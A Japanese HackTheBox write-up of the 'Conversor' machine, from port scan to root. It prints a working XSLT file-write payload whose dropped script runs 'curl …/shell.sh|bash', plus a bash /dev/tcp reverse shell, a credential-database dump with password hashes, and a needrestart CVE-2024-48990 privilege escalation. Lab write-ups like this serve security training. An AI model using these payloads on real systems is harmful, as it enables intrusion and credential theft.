はじめに
本記事はHackTheBoxのWriteupです。
Machineは、Conversorです。
Conversorでは、XSLTやneedrestartの脆弱性について学びます。
スキャニング
はじめにポートスキャンを実行します。
以下では事前に用意したシェルを介してポートスキャンを実行しています。
##################
# Port scan tool #
##################
*Detailed scan :1
*Full scan :2
***Select scanning method by number***
1
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-10 22:00 JST
Nmap scan report for conversor.htb (10.10.11.92)
Host is up (0.26s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 01:74:26:39:47:bc:6a:e2:cb:12:8b:71:84:9c:f8:5a (ECDSA)
|_ 256 3a:16:90:dc:74:d8:e3:c4:51:36:e2:08:06:26:17:ee (ED25519)
80/tcp open http Apache httpd 2.4.52
| http-title: Login
|_Requested resource was /login
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.39 seconds
Scan completed
上記ポートスキャンの結果を基に調査を行います。
列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集した後にconversor.htbにHTTPアクセスすると、以下の様な画面が表示されます。
アカウント作成後、ログインします。
Conversorは、XMLファイルとXSLTスタイルシートをアップロードすることで、Nmapのスキャン結果を見やすい形式に変換するアプリケーションのようです。
テンプレートファイルのnmap.xsltをダウンロードできます。また、Aboutのページよりソースコードがダウンロードできます。
脆弱性分析
ダウンロードしたソースコードのinstall.mdを確認すると、cronによって/var/www/conversor.htb/scripts/ディレクトリ配下のPythonプログラムが定期実行されていることが分かります。
You can also run it with Apache using the app.wsgi file.
If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.
"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""
/var/www/conversor.htb/scripts/ディレクトリ配下に、リバースシェルのプログラムを配備するため、引き続きソースコードのapp.pyファイルを基にファイルの書き込み方法について調査します。
convert()関数の処理では、POSTで送信されたxml_file及びxslt_fileを保存して、XSLT変換を行いHTMLファイルを生成していることが分かります。
XMLパーサーの処理は、以下の通りに保護されていることが分かるため、脆弱性はXMLパーサーではなく、XSLTプロセッサと考えます。
parser = etree.XMLParser(resolve_entities=False, no_network=True, dtd_validation=False, load_dtd=False)
リバースシェルを行うために以下のようなXSLTペイロードを作成します。
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:exsl="http://exslt.org/common"
extension-element-prefixes="exsl">
<xsl:template match="/">
<exsl:document href="file:///var/www/conversor.htb/scripts/shell.py" method="text">
import os
os.system("curl REDACTED:8000/shell.sh|bash")
</exsl:document>
</xsl:template>
</xsl:stylesheet>
extension-element-prefixesは、XSLTの<xsl:stylesheet>スタイルシート内で拡張命令として扱いたい名前空間のプレフィックスを指定します。
システムハッキング
Conversorのファイルアップロード機能を利用して足場を作ります。
アクセスの獲得
リスナー及びリバースシェルを行うために以下のファイルを用意します。
- shell.sh
bash -i >& /dev/tcp/REDACTED/4444 0>&1
準備ができたらXSLTペイロードのアップロードを行います。
XMLファイルはダウンロードしたテンプレートなどを指定し、XSLTファイルは事前に用意したファイルを選択して「Convert」ボタンを押します。
アップロード後、生成されたURLのリンクをクリックして、cronが実行されるのを待ちます。
リバースシェルが取得できます。
[sudo] kali のパスワード:
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.92] 33776
bash: cannot set terminal process group (2206): Inappropriate ioctl for device
bash: no job control in this shell
www-data@conversor:~$
ユーザーフラグ
ログイン後は/var/wwwディレクトリであり、conversor.htbディレクトリが確認できます。
total 4
drwxr-x--- 8 www-data www-data 4096 Aug 14 21:34 conversor.htb
conversor.htbディレクトリは、想定通りのファイルが確認できます。
total 36
-rwxr-x--- 1 www-data www-data 4466 Aug 14 20:50 app.py
-rwxr-x--- 1 www-data www-data 92 Jul 31 04:00 app.wsgi
drwxr-x--- 2 www-data www-data 4096 Nov 10 13:27 instance
drwxr-x--- 2 www-data www-data 4096 Aug 14 21:34 __pycache__
drwxr-x--- 2 www-data www-data 4096 Nov 10 13:23 scripts
drwxr-x--- 3 www-data www-data 4096 Oct 16 13:48 static
drwxr-x--- 2 www-data www-data 4096 Aug 15 23:48 templates
drwxr-x--- 2 www-data www-data 4096 Nov 10 13:27 uploads
instance/ディレクトリを確認すると、興味深いデータベースファイルが見つかりました。
total 24
-rwxr-x--- 1 www-data www-data 24576 Nov 10 13:27 users.db
sqlite3を実行して、テーブルの中身を確認すると、userテーブルの存在が確認できます。
$ sqlite3 users.db
SQLite version 3.37.2 2022-01-06 13:25:41
Enter ".help" for usage hints.
sqlite> .tables
files users
userテーブルにアクセスして、fismathackユーザーのパスワードを控えます。
sqlite> .header on
sqlite> .mode column
sqlite>
sqlite> select * from users;
id username password
-- ---------- --------------------------------
1 fismathack REDACTED
5 hack d78b6f30225cdc811adfe8d4e7c9fd34
6 admin 21232f297a57a5a743894a0e4a801fc3
7 username 5f4dcc3b5aa765d61d8327deb882cf99
取得したパスワードはMD5でハッシュ化されているため、CrackSstationなどで解析します。
取得した認証情報を用いてログインすると、ユーザーフラグが確認できます。
total 4
-rw-r----- 1 root fismathack 33 Nov 10 12:55 user.txt
ルートフラグ
sudo -lコマンドを実行すると、NOPASSWDでneedrestartコマンドが実行できることを確認できます。
$ sudo -l
Matching Defaults entries for fismathack on conversor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User fismathack may run the following commands on conversor:
(ALL : ALL) NOPASSWD: /usr/sbin/needrestart
needrestart は、ライブラリのアップグレード後に再起動が必要なデーモンをチェックするツールです。
needrestartの脆弱性について調べたところ、CVE-2024-48990が見つかりました。
needrestartは、ユーザープロセスからPYTHONPATHなどの環境変数を読み取り、rootとしてインタープリタを実行する際にそれらを使用して、インストール済みモジュールを確認します。これにより、権限昇格ベクトルが作成されます。
GitHubで見つけたCVE-2024-48990に関するPoCを試すと、ルートユーザーに昇格できました。
rootbash-5.1# id
uid=1000(fismathack) gid=1000(fismathack) euid=0(root) groups=1000(fismathack)
おわりに
XML及びXSLT処理ライブラリは、デフォルトで危険な機能が有効になっているることについて学びました。




